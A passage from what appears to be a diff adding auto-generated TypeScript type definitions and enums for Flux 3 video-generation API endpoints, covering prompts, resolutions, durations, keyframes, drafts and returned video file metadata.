number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBlackforestlabsFlux3MaxImageToVideo = { + /** + * @description The seed used for the generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @example {"content_type":"video/mp4","duration":5.041666666666667,"fps":24,"url":"https://v3b.fal.media/files/b/0aad95e6/ESYZjWfb88A3PeyaAqCbD_alligator.mp4","height":704,"num_frames":121,"width":1280} + * @type object + */ + video: VideoFile95715206 + /** + * @description `inference`: seconds the model spent denoising the video. Excludes prompt expansion, decoding and upload. + * @type object | undefined + */ + timings?: { + [key: string]: number + } +} + +export type AlligatorKeyframe = { + /** + * @description Frame position of this keyframe in the generated 24 fps video. Must be unique and at most `duration * 24`. + * @minimum 0 + * @type integer + */ + frame_index: number + /** + * @description URL of the keyframe image (PNG, JPEG, or WebP). + * @type string + */ + image_url: string +} + +export const inputBlackforestlabsFlux3MaxKeyframesToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', + '2K': '2K', + '4K': '4K', +} as const + +export type InputBlackforestlabsFlux3MaxKeyframesToVideoResolutionEnumKey = + (typeof inputBlackforestlabsFlux3MaxKeyframesToVideoResolutionEnum)[keyof typeof inputBlackforestlabsFlux3MaxKeyframesToVideoResolutionEnum] + +export const inputBlackforestlabsFlux3MaxKeyframesToVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '2:1': '2:1', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBlackforestlabsFlux3MaxKeyframesToVideoAspectRatioEnumKey = + (typeof inputBlackforestlabsFlux3MaxKeyframesToVideoAspectRatioEnum)[keyof typeof inputBlackforestlabsFlux3MaxKeyframesToVideoAspectRatioEnum] + +export const inputBlackforestlabsFlux3MaxKeyframesToVideoDurationEnum = { + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, + '16': 16, + '17': 17, + '18': 18, + '19': 19, + '20': 20, +} as const + +export type InputBlackforestlabsFlux3MaxKeyframesToVideoDurationEnumKey = + (typeof inputBlackforestlabsFlux3MaxKeyframesToVideoDurationEnum)[keyof typeof inputBlackforestlabsFlux3MaxKeyframesToVideoDurationEnum] + +export const inputBlackforestlabsFlux3MaxKeyframesToVideoReasoningLevelEnum = { + low: 'low', + high: 'high', +} as const + +export type InputBlackforestlabsFlux3MaxKeyframesToVideoReasoningLevelEnumKey = + (typeof inputBlackforestlabsFlux3MaxKeyframesToVideoReasoningLevelEnum)[keyof typeof inputBlackforestlabsFlux3MaxKeyframesToVideoReasoningLevelEnum] + +export type InputBlackforestlabsFlux3MaxKeyframesToVideo = { + /** + * @description Resolution of the generated video. `1080p`, `2K` (1440p) and `4K` (2160p) are upscaled from the 720p generation; exact dimensions depend on the aspect ratio. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBlackforestlabsFlux3MaxKeyframesToVideoResolutionEnumKey + /** + * @description Aspect ratio of the generated video. `auto` uses 16:9 for text prompts and follows the first image otherwise. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBlackforestlabsFlux3MaxKeyframesToVideoAspectRatioEnumKey + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Duration of the generated video in seconds. + * @default 5 + * @type number | undefined + */ + duration?: InputBlackforestlabsFlux3MaxKeyframesToVideoDurationEnumKey + /** + * @description The seed to use for the generation. Random when not provided. + */ + seed?: number | null + /** + * @description Keyframe images pinned to frame positions in the generated video. Up to 10 keyframes with unique `frame_index` values. + * @example [{"frame_index":0,"image_url":"https://storage.googleapis.com/falserverless/example_inputs/veo31-flf2v-input-1.jpeg"},{"frame_index":120,"image_url":"https://storage.googleapis.com/falserverless/example_inputs/veo31-flf2v-input-2.jpeg"}] + * @type array + */ + keyframes: AlligatorKeyframe[] + /** + * @description The text prompt describing how the video moves between keyframes. + * @minLength 1 + * @example The woman picks up a brown felt fedora, lifts it onto her head with both hands and adjusts the brim, smiling at the camera. Soft studio light against a plain gray wall. + * @type string + */ + prompt: string + /** + * @description How much effort the harness spends reasoning about the given prompt. Higher reasoning effort means slower generation time. + * @default 'high' + * @type string | undefined + */ + reasoning_level?: InputBlackforestlabsFlux3MaxKeyframesToVideoReasoningLevelEnumKey +} + +export type VideoFile509B8Cee = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBlackforestlabsFlux3MaxKeyframesToVideo = { + /** + * @description The seed used for the generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @example {"content_type":"video/mp4","duration":5.041666666666667,"fps":24,"url":"https://v3b.fal.media/files/b/0aad95e6/8CP6rEBGhIRsmaiPP1Y9Q_alligator.mp4","height":1088,"num_frames":121,"width":800} + * @type object + */ + video: VideoFile509B8Cee + /** + * @description `inference`: seconds the model spent denoising the video. Excludes prompt expansion, decoding and upload. + * @type object | undefined + */ + timings?: { + [key: string]: number + } +} + +export const inputBlackforestlabsFlux3MaxTextToVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '2:1': '2:1', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBlackforestlabsFlux3MaxTextToVideoAspectRatioEnumKey = + (typeof inputBlackforestlabsFlux3MaxTextToVideoAspectRatioEnum)[keyof typeof inputBlackforestlabsFlux3MaxTextToVideoAspectRatioEnum] + +export const inputBlackforestlabsFlux3MaxTextToVideoReasoningLevelEnum = { + low: 'low', + high: 'high', +} as const + +export type InputBlackforestlabsFlux3MaxTextToVideoReasoningLevelEnumKey = + (typeof inputBlackforestlabsFlux3MaxTextToVideoReasoningLevelEnum)[keyof typeof inputBlackforestlabsFlux3MaxTextToVideoReasoningLevelEnum] + +export const inputBlackforestlabsFlux3MaxTextToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', + '2K': '2K', + '4K': '4K', +} as const + +export type InputBlackforestlabsFlux3MaxTextToVideoResolutionEnumKey = + (typeof inputBlackforestlabsFlux3MaxTextToVideoResolutionEnum)[keyof typeof inputBlackforestlabsFlux3MaxTextToVideoResolutionEnum] + +export const inputBlackforestlabsFlux3MaxTextToVideoDurationEnum = { + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, + '16': 16, + '17': 17, + '18': 18, + '19': 19, + '20': 20, +} as const + +export type InputBlackforestlabsFlux3MaxTextToVideoDurationEnumKey = + (typeof inputBlackforestlabsFlux3MaxTextToVideoDurationEnum)[keyof typeof inputBlackforestlabsFlux3MaxTextToVideoDurationEnum] + +export type InputBlackforestlabsFlux3MaxTextToVideo = { + /** + * @description The seed to use for the generation. Random when not provided. + */ + seed?: number | null + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Aspect ratio of the generated video. `auto` uses 16:9 for text prompts and follows the first image otherwise. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBlackforestlabsFlux3MaxTextToVideoAspectRatioEnumKey + /** + * @description How much effort the harness spends reasoning about the given prompt. Higher reasoning effort means slower generation time. + * @default 'high' + * @type string | undefined + */ + reasoning_level?: InputBlackforestlabsFlux3MaxTextToVideoReasoningLevelEnumKey + /** + * @description The text prompt describing the video you want to generate. + * @minLength 1 + * @example A red panda walks along a mossy log in a sunlit forest, pausing to sniff the air before climbing over a fallen branch. Soft morning light filters through the canopy. Ambient birdsong and rustling leaves. + * @type string + */ + prompt: string + /** + * @description Resolution of the generated video. `1080p`, `2K` (1440p) and `4K` (2160p) are upscaled from the 720p generation; exact dimensions depend on the aspect ratio. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBlackforestlabsFlux3MaxTextToVideoResolutionEnumKey + /** + * @description Duration of the generated video in seconds. + * @default 5 + * @type number | undefined + */ + duration?: InputBlackforestlabsFlux3MaxTextToVideoDurationEnumKey +} + +export type VideoFile7Dc8235C = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBlackforestlabsFlux3MaxTextToVideo = { + /** + * @description The seed used for the generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @example {"content_type":"video/mp4","duration":5.041666666666667,"fps":24,"url":"https://v3b.fal.media/files/b/0aad95e5/Yk8T8_MXiLBhuphmPfeqR_alligator.mp4","height":704,"num_frames":121,"width":1280} + * @type object + */ + video: VideoFile7Dc8235C + /** + * @description `inference`: seconds the model spent denoising the video. Excludes prompt expansion, decoding and upload. + * @type object | undefined + */ + timings?: { + [key: string]: number + } +} + +export type InputBlackforestlabsFlux3DraftEnhance = { + /** + * @description The safety tolerance level for the generated video. 0 is the strictest and 4 is the most permissive. + * @minimum 0 + * @maximum 4 + * @default 2 + * @type integer | undefined + */ + safety_tolerance?: number + /** + * @description URL or data URI of the encrypted draft cache bundle to enhance. + * @type string + */ + draft_cache_url: string +} + +export type File = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputBlackforestlabsFlux3DraftEnhance = { + /** + * @description The enhanced video. + * @type object + */ + video: File +} + +export type InputBlackforestlabsFlux3EditVideo = { + /** + * @description The text prompt describing how to change the input video. The clip is re-rendered preserving motion, timing, and framing. + * @maxLength 4096 + * @example Make it snow heavily; give the scene a cold winter palette. + * @type string + */ + prompt: string + /** + * @description The safety tolerance level for the generated video. 0 is the strictest and 4 is the most permissive. + * @minimum 0 + * @maximum 4 + * @default 2 + * @type integer | undefined + */ + safety_tolerance?: number + /** + * @description URL of the input video. MP4, under 50 MB and under 15 seconds. + * @example https://storage.googleapis.com/falserverless/example_inputs/flux-3-red-panda.mp4 + * @type string + */ + video_url: string +} + +export type FileC6837062 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputBlackforestlabsFlux3EditVideo = { + /** + * @description The seed used for the generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/veo3-i2v-output.mp4"} + * @type object + */ + video: FileC6837062 +} + +export const inputBlackforestlabsFlux3ExtendVideoDurationEnum = { + auto: 'auto', + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, + '16': 16, + '17': 17, + '18': 18, + '19': 19, + '20': 20, +} as const + +export type InputBlackforestlabsFlux3ExtendVideoDurationEnumKey = + (typeof inputBlackforestlabsFlux3ExtendVideoDurationEnum)[keyof typeof inputBlackforestlabsFlux3ExtendVideoDurationEnum] + +export const inputBlackforestlabsFlux3ExtendVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '2:1': '2:1', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBlackforestlabsFlux3ExtendVideoAspectRatioEnumKey = + (typeof inputBlackforestlabsFlux3ExtendVideoAspectRatioEnum)[keyof typeof inputBlackforestlabsFlux3ExtendVideoAspectRatioEnum] + +export const inputBlackforestlabsFlux3ExtendVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', + '1440p': '1440p', + '2160p': '2160p', +} as const + +export type InputBlackforestlabsFlux3ExtendVideoResolutionEnumKey = + (typeof inputBlackforestlabsFlux3ExtendVideoResolutionEnum)[keyof typeof inputBlackforestlabsFlux3ExtendVideoResolutionEnum] + +export type InputBlackforestlabsFlux3ExtendVideo = { + /** + * @description The text prompt describing how the video continues from the source clip's final frames. + * @example The camera keeps tracking as the subject turns and smiles. + * @type string + */ + prompt: string + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Duration of the generated video in seconds. `auto` lets the model choose. + * @default 'auto' + * @type string | undefined + */ + duration?: InputBlackforestlabsFlux3ExtendVideoDurationEnumKey + /** + * @description URL of the input video. MP4, under 50 MB and under 15 seconds. + * @example https://storage.googleapis.com/falserverless/example_inputs/flux-3-red-panda.mp4 + * @type string + */ + video_url: string + /** + * @description The safety tolerance level for the generated video. 0 is the strictest and 4 is the most permissive. + * @minimum 0 + * @maximum 4 + * @default 2 + * @type integer | undefined + */ + safety_tolerance?: number + /** + * @description Aspect ratio of the generated video. `auto` lets the model choose. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBlackforestlabsFlux3ExtendVideoAspectRatioEnumKey + /** + * @description Resolution of the generated video. `1080p`, `1440p` (2K) and `2160p` (4K) are finished by the video upsampler; exact dimensions depend on the aspect ratio. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBlackforestlabsFlux3ExtendVideoResolutionEnumKey +} + +export type OutputBlackforestlabsFlux3ExtendVideo = { + /** + * @description The generated video. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/veo3-i2v-output.mp4"} + * @type object + */ + video: File + /** + * @description The seed used for the generation. + * @type integer + */ + seed: number +} + +export const inputBlackforestlabsFlux3ExtendVideoDraftAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '2:1': '2:1', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBlackforestlabsFlux3ExtendVideoDraftAspectRatioEnumKey = + (typeof inputBlackforestlabsFlux3ExtendVideoDraftAspectRatioEnum)[keyof typeof inputBlackforestlabsFlux3ExtendVideoDraftAspectRatioEnum] + +export const inputBlackforestlabsFlux3ExtendVideoDraftDurationEnum = { + auto: 'auto', + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, + '16': 16, + '17': 17, + '18': 18, + '19': 19, + '20': 20, +} as const + +export type InputBlackforestlabsFlux3ExtendVideoDraftDurationEnumKey = + (typeof inputBlackforestlabsFlux3ExtendVideoDraftDurationEnum)[keyof typeof inputBlackforestlabsFlux3ExtendVideoDraftDurationEnum] + +export type InputBlackforestlabsFlux3ExtendVideoDraft = { + /** + * @description URL or data URI of the source MP4, at most 50 MiB. + * @example https://storage.googleapis.com/falserverless/example_inputs/flux-3-red-panda.mp4 + * @type string + */ + video_url: string + /** + * @description The text prompt describing the draft video. + * @example A red panda walks along a mossy log in a sunlit forest, one continuous unbroken shot. + * @type string + */ + prompt: string + /** + * @description The safety tolerance level for the generated video. 0 is the strictest and 4 is the most permissive. + * @minimum 0 + * @maximum 4 + * @default 2 + * @type integer | undefined + */ + safety_tolerance?: number + /** + * @description Aspect ratio of the generated draft. `auto` lets the model choose. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBlackforestlabsFlux3ExtendVideoDraftAspectRatioEnumKey + /** + * @description Whether to generate audio for the draft video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Draft duration in whole seconds from 5 through 20, or `auto`. + * @default 'auto' + * @type string | undefined + */ + duration?: InputBlackforestlabsFlux3ExtendVideoDraftDurationEnumKey +} + +export type FileF770B8F6 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputBlackforestlabsFlux3ExtendVideoDraft = { + /** + * @description Durable encrypted cache bundle; pass it to `draft-enhance` for a full-quality render. Absent when the partner did not return a cache bundle for this draft. + */ + draft_cache?: FileF770B8F6 | null + /** + * @description The draft video. + * @type object + */ + video: FileF770B8F6 +} + +export const inputBlackforestlabsFlux3FirstLastFrameToVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '2:1': '2:1', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBlackforestlabsFlux3FirstLastFrameToVideoAspectRatioEnumKey = + (typeof inputBlackforestlabsFlux3FirstLastFrameToVideoAspectRatioEnum)[keyof typeof inputBlackforestlabsFlux3FirstLastFrameToVideoAspectRatioEnum] + +export const inputBlackforestlabsFlux3FirstLastFrameToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', + '1440p': '1440p', + '2160p': '2160p', +} as const + +export type InputBlackforestlabsFlux3FirstLastFrameToVideoResolutionEnumKey = + (typeof inputBlackforestlabsFlux3FirstLastFrameToVideoResolutionEnum)[keyof typeof inputBlackforestlabsFlux3FirstLastFrameToVideoResolutionEnum] + +export const inputBlackforestlabsFlux3FirstLastFrameToVideoDurationEnum = { + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, + '16': 16, + '17': 17, + '18': 18, + '19': 19, + '20': 20, +} as const + +export type InputBlackforestlabsFlux3FirstLastFrameToVideoDurationEnumKey = + (typeof inputBlackforestlabsFlux3FirstLastFrameToVideoDurationEnum)[keyof typeof inputBlackforestlabsFlux3FirstLastFrameToVideoDurationEnum] + +export type InputBlackforestlabsFlux3FirstLastFrameToVideo = { + /** + * @description The text prompt describing the video you want to generate. + * @example A red panda walks along a mossy log in a sunlit forest, one continuous unbroken shot. Ambient birdsong and rustling leaves. + * @type string + */ + prompt: string + /** + * @description URL of the image used as the first frame of the video (PNG, JPEG, or WebP). + * @example https://storage.googleapis.com/falserverless/example_inputs/veo31-flf2v-input-1.jpeg + * @type string + */ + start_image_url: string + /** + * @description Aspect ratio of the generated video. `auto` lets the model choose. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBlackforestlabsFlux3FirstLastFrameToVideoAspectRatioEnumKey + /** + * @description URL of the image used as the last frame of the video (PNG, JPEG, or WebP). + * @example https://storage.googleapis.com/falserverless/example_inputs/veo31-flf2v-input-2.jpeg + * @type string + */ + end_image_url: string + /** + * @description Resolution of the generated video. `1080p`, `1440p` (2K) and `2160p` (4K) are finished by the video upsampler; exact dimensions depend on the aspect ratio. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBlackforestlabsFlux3FirstLastFrameToVideoResolutionEnumKey + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Duration of the generated video in seconds. An explicit duration is required to place the end frame. + * @default 5 + * @type number | undefined + */ + duration?: InputBlackforestlabsFlux3FirstLastFrameToVideoDurationEnumKey + /** + * @description The safety tolerance level for the generated video. 0 is the strictest and 4 is the most permissive. + * @minimum 0 + * @maximum 4 + * @default 2 + * @type integer | undefined + */ + safety_tolerance?: number +} + +export type OutputBlackforestlabsFlux3FirstLastFrameToVideo = { + /** + * @description The generated video. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/veo3-i2v-output.mp4"} + * @type object + */ + video: File + /** + * @description The seed used for the generation. + * @type integer + */ + seed: number +} + +export const inputBlackforestlabsFlux3FirstLastFrameToVideoDraftAspectRatioEnum = + { + auto: 'auto', + '21:9': '21:9', + '2:1': '2:1', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', + } as const + +export type InputBlackforestlabsFlux3FirstLastFrameToVideoDraftAspectRatioEnumKey = + (typeof inputBlackforestlabsFlux3FirstLastFrameToVideoDraftAspectRatioEnum)[keyof typeof inputBlackforestlabsFlux3FirstLastFrameToVideoDraftAspectRatioEnum] + +export const inputBlackforestlabsFlux3FirstLastFrameToVideoDraftDurationEnum = { + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, + '16': 16, + '17': 17, + '18': 18, + '19': 19, + '20': 20, +} as const + +export type InputBlackforestlabsFlux3FirstLastFrameToVideoDraftDurationEnumKey = + (typeof inputBlackforestlabsFlux3FirstLastFrameToVideoDraftDurationEnum)[keyof typeof inputBlackforestlabsFlux3FirstLastFrameToVideoDraftDurationEnum] + +export type InputBlackforestlabsFlux3FirstLastFrameToVideoDraft = { + /** + * @description URL or data URI of the image used as the last frame of the draft. + * @example https://storage.googleapis.com/falserverless/example_inputs/veo31-flf2v-input-2.jpeg + * @type string + */ + end_image_url: string + /** + * @description The text prompt describing the draft video. + * @example A red panda walks along a mossy log in a sunlit forest, one continuous unbroken shot. + * @type string + */ + prompt: string + /** + * @description URL or data URI of the image used as the first frame of the draft. + * @example https://storage.googleapis.com/falserverless/example_inputs/veo31-flf2v-input-1.jpeg + * @type string + */ + start_image_url: string + /** + * @description The safety tolerance level for the generated video. 0 is the strictest and 4 is the most permissive. + * @minimum 0 + * @maximum 4 + * @default 2 + * @type integer | undefined + */ + safety_tolerance?: number + /** + * @description Aspect ratio of the generated draft. `auto` lets the model choose. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBlackforestlabsFlux3FirstLastFrameToVideoDraftAspectRatioEnumKey + /** + * @description Whether to generate audio for the draft video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Draft duration in whole seconds from 5 through 20. An explicit duration pins the two images to the video boundaries. + * @default 5 + * @type number | undefined + */ + duration?: InputBlackforestlabsFlux3FirstLastFrameToVideoDraftDurationEnumKey +} + +export type FileCe09929D = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputBlackforestlabsFlux3FirstLastFrameToVideoDraft = { + /** + * @description Durable encrypted cache bundle; pass it to `draft-enhance` for a full-quality render. Absent when the partner did not return a cache bundle for this draft. + */ + draft_cache?: FileCe09929D | null + /** + * @description The draft video. + * @type object + */ + video: FileCe09929D +} + +export const inputBlackforestlabsFlux3ImageToVideoDurationEnum = { + auto: 'auto', + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, + '16': 16, + '17': 17, + '18': 18, + '19': 19, + '20': 20, +} as const + +export type InputBlackforestlabsFlux3ImageToVideoDurationEnumKey = + (typeof inputBlackforestlabsFlux3ImageToVideoDurationEnum)[keyof typeof inputBlackforestlabsFlux3ImageToVideoDurationEnum] + +export const inputBlackforestlabsFlux3ImageToVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '2:1': '2:1', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBlackforestlabsFlux3ImageToVideoAspectRatioEnumKey = + (typeof inputBlackforestlabsFlux3ImageToVideoAspectRatioEnum)[keyof typeof inputBlackforestlabsFlux3ImageToVideoAspectRatioEnum] + +export const inputBlackforestlabsFlux3ImageToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', + '1440p': '1440p', + '2160p': '2160p', +} as const + +export type InputBlackforestlabsFlux3ImageToVideoResolutionEnumKey = + (typeof inputBlackforestlabsFlux3ImageToVideoResolutionEnum)[keyof typeof inputBlackforestlabsFlux3ImageToVideoResolutionEnum] + +export type InputBlackforestlabsFlux3ImageToVideo = { + /** + * @description The text prompt describing the video you want to generate. + * @example A red panda walks along a mossy log in a sunlit forest, one continuous unbroken shot. Ambient birdsong and rustling leaves. + * @type string + */ + prompt: string + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Duration of the generated video in seconds. `auto` lets the model choose. + * @default 'auto' + * @type string | undefined + */ + duration?: InputBlackforestlabsFlux3ImageToVideoDurationEnumKey + /** + * @description The safety tolerance level for the generated video. 0 is the strictest and 4 is the most permissive. + * @minimum 0 + * @maximum 4 + * @default 2 + * @type integer | undefined + */ + safety_tolerance?: number + /** + * @description URL of the image the video starts from (PNG, JPEG, or WebP). + * @example https://storage.googleapis.com/falserverless/example_inputs/veo31_i2v_input.jpg + * @type string + */ + image_url: string + /** + * @description Aspect ratio of the generated video. `auto` lets the model choose. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBlackforestlabsFlux3ImageToVideoAspectRatioEnumKey + /** + * @description Resolution of the generated video. `1080p`, `1440p` (2K) and `2160p` (4K) are finished by the video upsampler; exact dimensions depend on the aspect ratio. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBlackforestlabsFlux3ImageToVideoResolutionEnumKey +} + +export type OutputBlackforestlabsFlux3ImageToVideo = { + /** + * @description The generated video. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/veo3-i2v-output.mp4"} + * @type object + */ + video: File + /** + * @description The seed used for the generation. + * @type integer + */ + seed: number +} + +export const inputBlackforestlabsFlux3ImageToVideoDraftAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '2:1': '2:1', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBlackforestlabsFlux3ImageToVideoDraftAspectRatioEnumKey = + (typeof inputBlackforestlabsFlux3ImageToVideoDraftAspectRatioEnum)[keyof typeof inputBlackforestlabsFlux3ImageToVideoDraftAspectRatioEnum] + +export const inputBlackforestlabsFlux3ImageToVideoDraftDurationEnum = { + auto: 'auto', + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, + '16': 16, + '17': 17, + '18': 18, + '19': 19, + '20': 20, +} as const + +export type InputBlackforestlabsFlux3ImageToVideoDraftDurationEnumKey = + (typeof inputBlackforestlabsFlux3ImageToVideoDraftDurationEnum)[keyof typeof inputBlackforestlabsFlux3ImageToVideoDraftDurationEnum] + +export type InputBlackforestlabsFlux3ImageToVideoDraft = { + /** + * @description URL or data URI of the opening keyframe image. + * @example https://storage.googleapis.com/falserverless/example_inputs/veo31_i2v_input.jpg + * @type string + */ + image_url: string + /** + * @description The text prompt describing the draft video. + * @example A red panda walks along a mossy log in a sunlit forest, one continuous unbroken shot. + * @type string + */ + prompt: string + /** + * @description The safety tolerance level for the generated video. 0 is the strictest and 4 is the most permissive. + * @minimum 0 + * @maximum 4 + * @default 2 + * @type integer | undefined + */ + safety_tolerance?: number + /** + * @description Aspect ratio of the generated draft. `auto` lets the model choose. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBlackforestlabsFlux3ImageToVideoDraftAspectRatioEnumKey + /** + * @description Whether to generate audio for the draft video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Draft duration in whole seconds from 5 through 20, or `auto`. + * @default 'auto' + * @type string | undefined + */ + duration?: InputBlackforestlabsFlux3ImageToVideoDraftDurationEnumKey +} + +export type FileD728F13F = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputBlackforestlabsFlux3ImageToVideoDraft = { + /** + * @description Durable encrypted cache bundle; pass it to `draft-enhance` for a full-quality render. Absent when the partner did not return a cache bundle for this draft. + */ + draft_cache?: FileD728F13F | null + /** + * @description The draft video. + * @type object + */ + video: FileD728F13F +} + +export type Flux3Keyframe = { + /** + * @description URL of the keyframe image (PNG, JPEG, or WebP). + * @type string + */ + image_url: string + /** + * @description Frame position of this keyframe in the generated 24 fps video. Must be unique and at most `duration * 24`. + * @minimum 0 + * @type integer + */ + frame_index: number +} + +export const inputBlackforestlabsFlux3KeyframesToVideoDurationEnum = { + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, + '16': 16, + '17': 17, + '18': 18, + '19': 19, + '20': 20, +} as const + +export type InputBlackforestlabsFlux3KeyframesToVideoDurationEnumKey = + (typeof 